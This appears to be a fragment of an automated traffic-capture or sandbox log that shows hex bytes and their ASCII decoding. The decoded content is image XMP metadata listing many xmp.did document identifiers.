2022-07-20 04:06:50 UTC	4293	IN	Data Raw: 46 33 39 32 34 44 45 31 31 31 38 46 45 42 44 33 34 39 43 39 32 36 38 45 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 45 32 41 39 41 41 36 42 32 30 36 38 31 31 38 38 43 36 41 33 30 33 41 37 32 37 33 32 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 62 35 63 33 34 30 2d 38 39 32 35 2d 61 32 34 37 2d 39 31 61 32 2d 62 32 31 63 39 35 64 34 63 66 62 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 64 39 66 62 38 38 2d 36 64 39 65 2d 34 37 63 66 2d 61 33 37 30 2d 38 38 31 63 38 36 33 34 65 63 62 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 65 30 63 31 32 62 2d 62 35 66 34 2d 34 62 30 64 2d 61 63 Data Ascii: F3924DE1118FEBD349C9268E6E</rdf:li> <rdf:li>xmp.did:07E2A9AA6B20681188C6A303A72732FA</rdf:li> <rdf:li>xmp.did:07b5c340-8925-a247-91a2-b21c95d4cfbb</rdf:li> <rdf:li>xmp.did:07d9fb88-6d9e-47cf-a370-881c8634ecb5</rdf:li> <rdf:li>xmp.did:07e0c12b-b5f4-4b0d-ac
2022-07-20 04:06:50 UTC	4309	IN	Data Raw: 34 39 63 62 31 63 37 61 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 31 39 35 30 66 34 2d 65 62 31 35 2d 64 37 34 66 2d 38 38 64 39 2d 38 38 61 61 65 66 37 32 61 32 63 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 32 62 34 39 36 39 2d 38 38 39 35 2d 31 39 34 64 2d 61 35 63 32 2d 35 66 34 30 66 32 32 38 33 30 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 33 37 34 31 43 45 37 32 32 32 36 38 31 31 38 44 42 42 45 41 45 30 45 45 35 42 30 30 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 33 33 37 45 32 46 46 30 44 32 30 36 38 31 31 38 33 44 31 41 46 37 41 30 30 46 33 36 39 33 33 3c 2f 72 64 66 3a Data Ascii: 49cb1c7ae</rdf:li> <rdf:li>xmp.did:131950f4-eb15-d74f-88d9-88aaef72a2c0</rdf:li> <rdf:li>xmp.did:132b4969-8895-194d-a5c2-5f40f2283076</rdf:li> <rdf:li>xmp.did:133741CE722268118DBBEAE0EE5B008A</rdf:li> <rdf:li>xmp.did:1337E2FF0D20681183D1AF7A00F36933</rdf:
2022-07-20 04:06:50 UTC	4325	IN	Data Raw: 38 38 61 39 2d 33 62 38 31 64 32 33 61 62 63 64 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 36 38 42 39 34 31 42 35 32 35 36 38 31 31 38 32 32 41 46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 37 41 36 36 38 39 34 41 32 30 36 38 31 31 38 32 32 41 46 44 41 35 36 35 38 46 31 31 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 38 31 33 30 44 42 33 38 32 30 36 38 31 31 39 35 46 45 44 34 46 36 37 44 46 30 44 38 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 33 38 37 43 39 46 45 32 46 32 30 36 38 31 31 39 41 38 32 46 45 32 41 43 42 43 35 37 34 33 36 3c 2f 72 64 66 3a Data Ascii: 88a9-3b81d23abcdf</rdf:li> <rdf:li>xmp.did:2368B941B5256811822AFD8E6CBD98C8</rdf:li> <rdf:li>xmp.did:237A66894A206811822AFDA5658F115D</rdf:li> <rdf:li>xmp.did:238130DB3820681195FED4F67DF0D8E8</rdf:li> <rdf:li>xmp.did:2387C9FE2F2068119A82FE2ACBC57436</rdf:
2022-07-20 04:06:51 UTC	5331	IN	Data Raw: 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 41 41 35 42 39 30 39 38 38 34 43 31 31 45 31 39 45 33 37 46 32 43 37 46 44 36 37 39 38 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 41 44 42 34 34 36 33 31 42 32 30 36 38 31 31 41 36 31 33 44 42 32 36 39 46 45 46 35 32 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 41 45 46 37 42 38 45 32 31 32 30 36 38 31 31 38 30 38 33 46 31 44 34 33 45 41 39 37 31 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 42 34 34 30 43 37 46 30 37 32 30 36 38 31 31 38 30 38 33 39 43 38 46 41 37 33 37 39 36 34 32 Data Ascii: D9DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.did:2AA5B909884C11E19E37F2C7FD67985A</rdf:li> <rdf:li>xmp.did:2ADB44631B206811A613DB269FEF524D</rdf:li> <rdf:li>xmp.did:2AEF7B8E212068118083F1D43EA9712B</rdf:li> <rdf:li>xmp.did:2B440C7F0720681180839C8FA7379642
2022-07-20 04:06:51 UTC	5347	IN	Data Raw: 31 42 37 35 42 41 39 35 30 34 31 39 32 39 38 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 43 31 39 38 33 45 43 45 32 31 36 38 31 31 39 35 46 45 44 33 33 42 46 43 34 32 30 43 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 45 34 45 31 32 31 32 30 33 34 31 31 45 35 38 45 42 38 46 41 45 37 33 35 38 33 35 45 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 45 36 46 43 39 34 33 36 32 30 36 38 31 31 41 46 46 44 38 36 43 31 32 37 44 41 30 35 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 38 63 39 34 62 62 34 2d 61 63 33 36 2d 34 31 63 61 2d 38 32 37 66 2d 61 61 35 34 30 36 63 33 62 64 39 37 3c 2f Data Ascii: 1B75BA950419298B8</rdf:li> <rdf:li>xmp.did:38C1983ECE21681195FED33BFC420CB1</rdf:li> <rdf:li>xmp.did:38E4E121203411E58EB8FAE735835ECD</rdf:li> <rdf:li>xmp.did:38E6FC9436206811AFFD86C127DA0516</rdf:li> <rdf:li>xmp.did:38c94bb4-ac36-41ca-827f-aa5406c3bd97</
2022-07-20 04:06:51 UTC	5363	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 42 35 39 31 36 41 35 42 32 36 36 38 31 31 38 33 44 31 41 46 37 41 30 30 46 33 36 39 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 43 31 44 43 39 35 39 38 32 30 36 38 31 31 38 30 38 33 41 32 42 36 43 32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 46 35 42 30 33 34 31 46 32 34 36 38 31 31 38 46 36 32 41 34 43 37 41 45 46 39 33 35 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 37 64 30 34 65 36 39 2d 61 61 37 65 2d 34 36 63 64 2d 38 30 62 34 2d 65 37 35 64 38 63 35 65 38 64 65 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d Data Ascii: /rdf:li> <rdf:li>xmp.did:47B5916A5B26681183D1AF7A00F36933</rdf:li> <rdf:li>xmp.did:47C1DC95982068118083A2B6C28313CA</rdf:li> <rdf:li>xmp.did:47F5B0341F2468118F62A4C7AEF93527</rdf:li> <rdf:li>xmp.did:47d04e69-aa7e-46cd-80b4-e75d8c5e8de6</rdf:li> <rdf:li>xm
2022-07-20 04:06:51 UTC	5371	IN	Data Raw: 38 35 38 65 34 64 61 34 66 31 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 35 62 62 35 61 62 2d 64 36 38 32 2d 66 34 34 32 2d 61 34 37 34 2d 64 37 63 35 39 39 37 64 34 63 65 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 38 38 32 30 65 62 2d 61 31 39 61 2d 34 64 64 61 2d 39 32 31 39 2d 35 38 65 64 66 33 65 38 36 61 35 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 39 64 61 62 36 36 2d 30 35 39 65 2d 65 62 34 63 2d 38 34 30 37 2d 66 38 32 62 64 66 63 62 63 30 61 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 66 62 34 31 37 34 65 2d 38 39 64 64 2d 34 63 66 61 2d 62 37 30 62 2d 38 37 63 63 36 32 39 Data Ascii: 858e4da4f143</rdf:li> <rdf:li>xmp.did:4f5bb5ab-d682-f442-a474-d7c5997d4ce8</rdf:li> <rdf:li>xmp.did:4f8820eb-a19a-4dda-9219-58edf3e86a5c</rdf:li> <rdf:li>xmp.did:4f9dab66-059e-eb4c-8407-f82bdfcbc0a4</rdf:li> <rdf:li>xmp.did:4fb4174e-89dd-4cfa-b70b-87cc629
2022-07-20 04:06:51 UTC	5387	IN	Data Raw: 31 36 63 62 39 62 38 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 63 65 36 62 37 32 66 2d 37 37 63 63 2d 35 62 34 39 2d 38 30 34 64 2d 30 39 31 30 32 64 36 66 64 30 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 64 33 36 63 36 36 65 2d 64 64 36 30 2d 34 31 34 66 2d 61 39 32 30 2d 30 63 65 33 32 66 32 31 31 61 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 64 36 65 63 34 38 34 2d 30 33 39 33 2d 30 37 34 33 2d 38 61 38 64 2d 34 33 36 39 62 30 32 31 36 64 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 64 38 32 33 62 38 38 2d 38 37 63 35 2d 34 37 64 33 2d 62 65 38 61 2d 66 34 31 64 63 32 63 66 37 63 36 Data Ascii: 16cb9b8e</rdf:li> <rdf:li>xmp.did:5ce6b72f-77cc-5b49-804d-09102d6fd012</rdf:li> <rdf:li>xmp.did:5d36c66e-dd60-414f-a920-0ce32f211a34</rdf:li> <rdf:li>xmp.did:5d6ec484-0393-0743-8a8d-4369b0216d71</rdf:li> <rdf:li>xmp.did:5d823b88-87c5-47d3-be8a-f41dc2cf7c6
2022-07-20 04:06:51 UTC	5403	IN	Data Raw: 78 6d 70 2e 64 69 64 3a 36 45 46 38 45 33 41 30 39 45 32 30 36 38 31 31 41 45 35 36 43 30 39 31 35 42 33 42 43 44 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 45 46 45 39 42 46 35 44 34 32 30 36 38 31 31 38 43 31 34 41 33 36 45 35 36 36 45 31 32 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 46 31 41 33 37 31 44 37 39 31 45 45 36 31 31 42 44 38 38 42 44 38 31 43 42 30 38 39 38 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 46 34 46 38 34 32 46 30 39 32 31 36 38 31 31 41 46 46 44 44 33 32 32 36 30 41 42 33 42 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 46 36 30 37 43 43 45 31 39 32 30 36 38 31 Data Ascii: xmp.did:6EF8E3A09E206811AE56C0915B3BCD41</rdf:li> <rdf:li>xmp.did:6EFE9BF5D42068118C14A36E566E12DA</rdf:li> <rdf:li>xmp.did:6F1A371D791EE611BD88BD81CB08980D</rdf:li> <rdf:li>xmp.did:6F4F842F09216811AFFDD32260AB3BBC</rdf:li> <rdf:li>xmp.did:6F607CCE1920681
2022-07-20 04:06:51 UTC	5411	IN	Data Raw: 70 2e 64 69 64 3a 37 34 43 39 46 38 36 33 35 38 37 39 45 34 31 31 42 41 37 42 46 44 34 37 36 35 30 35 38 34 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 43 41 37 36 33 34 31 45 30 43 45 34 31 31 39 37 46 32 38 33 44 45 41 39 46 42 44 39 44 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 46 31 35 36 45 41 31 42 32 33 36 38 31 31 41 35 35 46 43 37 34 43 33 35 43 39 37 31 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 61 31 34 66 33 37 2d 33 65 62 36 2d 34 39 37 61 2d 38 61 34 32 2d 37 37 33 32 64 35 39 36 61 64 63 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 61 66 34 61 66 38 2d 62 37 35 32 Data Ascii: p.did:74C9F8635879E411BA7BFD476505848B</rdf:li> <rdf:li>xmp.did:74CA76341E0CE41197F283DEA9FBD9D1</rdf:li> <rdf:li>xmp.did:74F156EA1B236811A55FC74C35C971C2</rdf:li> <rdf:li>xmp.did:74a14f37-3eb6-497a-8a42-7732d596adc3</rdf:li> <rdf:li>xmp.did:74af4af8-b752
2022-07-20 04:06:51 UTC	5427	IN	Data Raw: 66 32 35 2d 63 38 34 30 2d 62 61 31 66 2d 61 66 38 35 65 35 32 35 30 66 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 34 66 63 61 65 39 35 2d 37 36 30 35 2d 61 61 34 63 2d 61 65 35 63 2d 65 61 65 39 62 66 66 30 63 33 39 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 30 32 35 30 30 38 2d 37 39 30 37 2d 34 35 66 38 2d 39 32 63 38 2d 35 65 36 38 37 36 38 31 36 37 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 30 32 45 34 38 37 34 44 32 30 36 38 31 31 41 37 42 41 41 39 46 39 34 38 41 33 39 46 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 35 30 42 32 44 44 45 46 44 39 44 45 31 31 31 41 44 44 32 39 Data Ascii: f25-c840-ba1f-af85e5250f31</rdf:li> <rdf:li>xmp.did:84fcae95-7605-aa4c-ae5c-eae9bff0c39d</rdf:li> <rdf:li>xmp.did:85025008-7907-45f8-92c8-5e6876816709</rdf:li> <rdf:li>xmp.did:8502E4874D206811A7BAA9F948A39F42</rdf:li> <rdf:li>xmp.did:850B2DDEFD9DE111ADD29
2022-07-20 04:06:51 UTC	5443	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 31 33 34 41 33 35 32 44 32 30 36 38 31 31 38 41 36 44 44 34 36 44 41 30 43 41 31 30 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 31 38 36 45 43 38 35 32 30 36 45 37 31 31 41 37 41 46 45 32 37 42 45 37 34 31 38 38 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 32 31 45 45 30 31 44 44 46 41 45 34 31 31 38 45 36 34 46 32 30 31 45 30 30 45 45 43 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 32 33 32 35 32 37 30 39 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 39 35 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 32 Data Ascii: :li> <rdf:li>xmp.did:92134A352D2068118A6DD46DA0CA10CF</rdf:li> <rdf:li>xmp.did:92186EC85206E711A7AFE27BE74188FE</rdf:li> <rdf:li>xmp.did:9221EE01DDFAE4118E64F201E00EEC2A</rdf:li> <rdf:li>xmp.did:92232527092068118A6DC638F9FC95EE</rdf:li> <rdf:li>xmp.did:92
2022-07-20 04:06:51 UTC	5451	IN	Data Raw: 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 34 35 35 41 38 37 31 34 32 30 36 38 31 31 39 37 41 35 38 34 46 38 33 39 32 37 42 33 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 37 33 31 34 45 30 35 44 36 31 45 35 31 31 38 37 45 36 42 37 32 31 43 44 33 35 32 43 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 37 33 35 43 32 33 38 38 32 46 45 34 31 31 38 37 44 41 46 38 37 30 45 39 30 42 45 46 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 39 38 36 30 32 33 62 2d 39 61 62 65 2d 34 30 31 61 2d 62 32 63 34 2d 30 65 65 39 34 36 63 65 61 65 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d Data Ascii: /rdf:li> <rdf:li>xmp.did:99455A871420681197A584F83927B384</rdf:li> <rdf:li>xmp.did:997314E05D61E51187E6B721CD352C7A</rdf:li> <rdf:li>xmp.did:99735C23882FE41187DAF870E90BEFD2</rdf:li> <rdf:li>xmp.did:9986023b-9abe-401a-b2c4-0ee946ceae42</rdf:li> <rdf:li>xm
2022-07-20 04:06:51 UTC	5467	IN	Data Raw: 31 41 36 31 33 44 42 32 36 39 46 45 46 35 32 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 43 42 33 38 30 30 32 41 34 35 44 45 33 31 31 38 31 45 36 45 42 46 38 33 38 32 41 38 41 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 43 42 36 39 31 36 36 33 45 32 30 36 38 31 31 42 41 41 43 39 46 38 38 39 42 35 38 43 44 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 44 30 34 46 37 45 34 43 43 32 31 36 38 31 31 38 32 32 41 46 41 39 46 46 36 39 34 33 34 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 44 30 37 45 30 43 42 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a Data Ascii: 1A613DB269FEF524D</rdf:li> <rdf:li>xmp.did:ACB38002A45DE31181E6EBF8382A8AFE</rdf:li> <rdf:li>xmp.did:ACB691663E206811BAAC9F889B58CD3E</rdf:li> <rdf:li>xmp.did:AD04F7E4CC216811822AFA9FF6943483</rdf:li> <rdf:li>xmp.did:AD07E0CBFD9DE111ADD29B684E45E581</rdf:
2022-07-20 04:06:51 UTC	5483	IN	Data Raw: 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 35 38 41 39 39 33 30 41 30 38 31 31 45 35 38 41 45 45 44 31 36 39 33 36 32 45 33 32 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 36 36 41 39 39 41 41 32 32 39 36 38 31 31 38 32 32 41 46 42 45 42 33 36 42 33 44 30 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 37 36 31 30 33 33 31 36 32 30 36 38 31 31 42 36 39 39 41 31 38 45 37 30 33 34 41 44 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 38 32 41 35 38 45 33 44 41 43 45 34 31 31 38 36 34 45 46 43 34 44 32 45 38 41 37 37 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 36 39 32 42 41 38 44 Data Ascii: rdf:li>xmp.did:C658A9930A0811E58AEED169362E32DF</rdf:li> <rdf:li>xmp.did:C666A99AA2296811822AFBEB36B3D090</rdf:li> <rdf:li>xmp.did:C676103316206811B699A18E7034AD98</rdf:li> <rdf:li>xmp.did:C682A58E3DACE411864EFC4D2E8A7785</rdf:li> <rdf:li>xmp.did:C692BA8D
2022-07-20 04:06:51 UTC	5490	IN	Data Raw: 3e 78 6d 70 2e 64 69 64 3a 44 31 33 41 41 45 35 46 43 46 37 30 45 37 31 31 42 36 35 31 45 35 46 46 36 34 45 45 33 32 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 35 34 33 34 41 30 30 39 32 30 36 38 31 31 38 30 38 33 38 43 33 30 35 44 43 41 39 45 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 35 38 46 36 37 38 43 44 45 38 45 30 31 31 38 45 30 45 46 44 39 45 46 41 39 31 35 44 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 36 38 36 31 39 45 32 32 36 31 31 31 36 38 42 36 32 38 41 31 39 44 43 46 39 45 46 46 44 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 31 38 35 44 46 42 41 37 38 32 30 36 38 Data Ascii: >xmp.did:D13AAE5FCF70E711B651E5FF64EE3282</rdf:li> <rdf:li>xmp.did:D15434A00920681180838C305DCA9E89</rdf:li> <rdf:li>xmp.did:D158F678CDE8E0118E0EFD9EFA915D83</rdf:li> <rdf:li>xmp.did:D168619E22611168B628A19DCF9EFFD4</rdf:li> <rdf:li>xmp.did:D185DFBA782068
2022-07-20 04:06:51 UTC	5506	IN	Data Raw: 64 3a 45 36 34 36 30 32 33 37 46 46 45 34 45 30 31 31 42 37 34 33 39 42 36 38 41 30 31 31 33 38 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 34 41 43 38 44 37 30 44 45 31 44 45 31 31 39 33 43 37 38 41 33 37 37 46 33 30 38 31 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 35 44 32 42 41 46 39 37 32 30 36 38 31 31 38 46 36 32 38 34 35 32 38 35 44 33 33 43 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 36 36 46 39 46 32 46 35 33 32 45 31 31 31 39 35 39 35 41 31 44 44 35 31 36 42 30 42 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 36 36 38 37 39 31 37 31 31 32 30 36 38 31 31 38 32 32 41 45 Data Ascii: d:E6460237FFE4E011B7439B68A01138EA</rdf:li> <rdf:li>xmp.did:E64AC8D70DE1DE1193C78A377F30813B</rdf:li> <rdf:li>xmp.did:E65D2BAF972068118F62845285D33C56</rdf:li> <rdf:li>xmp.did:E666F9F2F532E1119595A1DD516B0B08</rdf:li> <rdf:li>xmp.did:E668791711206811822AE
2022-07-20 04:06:51 UTC	5522	IN	Data Raw: 37 35 30 35 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 39 46 38 41 34 34 33 32 34 41 45 33 39 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 41 34 38 30 39 31 46 31 36 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 43 41 46 46 41 38 31 44 33 34 33 45 44 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 37 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 44 45 35 39 33 45 35 32 30 38 41 42 30 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: 7505E2</rdf:li> <rdf:li>xmp.did:F77F117407206811A9F8A44324AE3979</rdf:li> <rdf:li>xmp.did:F77F117407206811AB08A48091F1675E</rdf:li> <rdf:li>xmp.did:F77F117407206811ACAFFA81D343EDA5</rdf:li> <rdf:li>xmp.did:F77F117407206811ADE593E5208AB01B</rdf:li> <rdf:li
2022-07-20 04:06:51 UTC	5527	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 46 43 34 30 32 33 34 31 36 32 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 39 30 35 43 44 42 31 31 35 43 44 41 44 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 38 33 37 32 43 39 41 37 46 36 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 42 32 32 46 31 43 41 44 41 37 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 Data Ascii: li> <rdf:li>xmp.did:F97F11740720681188C6FC4023416217</rdf:li> <rdf:li>xmp.did:F97F1174072068118905CDB115CDADF5</rdf:li> <rdf:li>xmp.did:F97F1174072068118A6D8372C9A7F6EA</rdf:li> <rdf:li>xmp.did:F97F1174072068118A6DB22F1CADA7F5</rdf:li> <rdf:li>xmp.did:F97
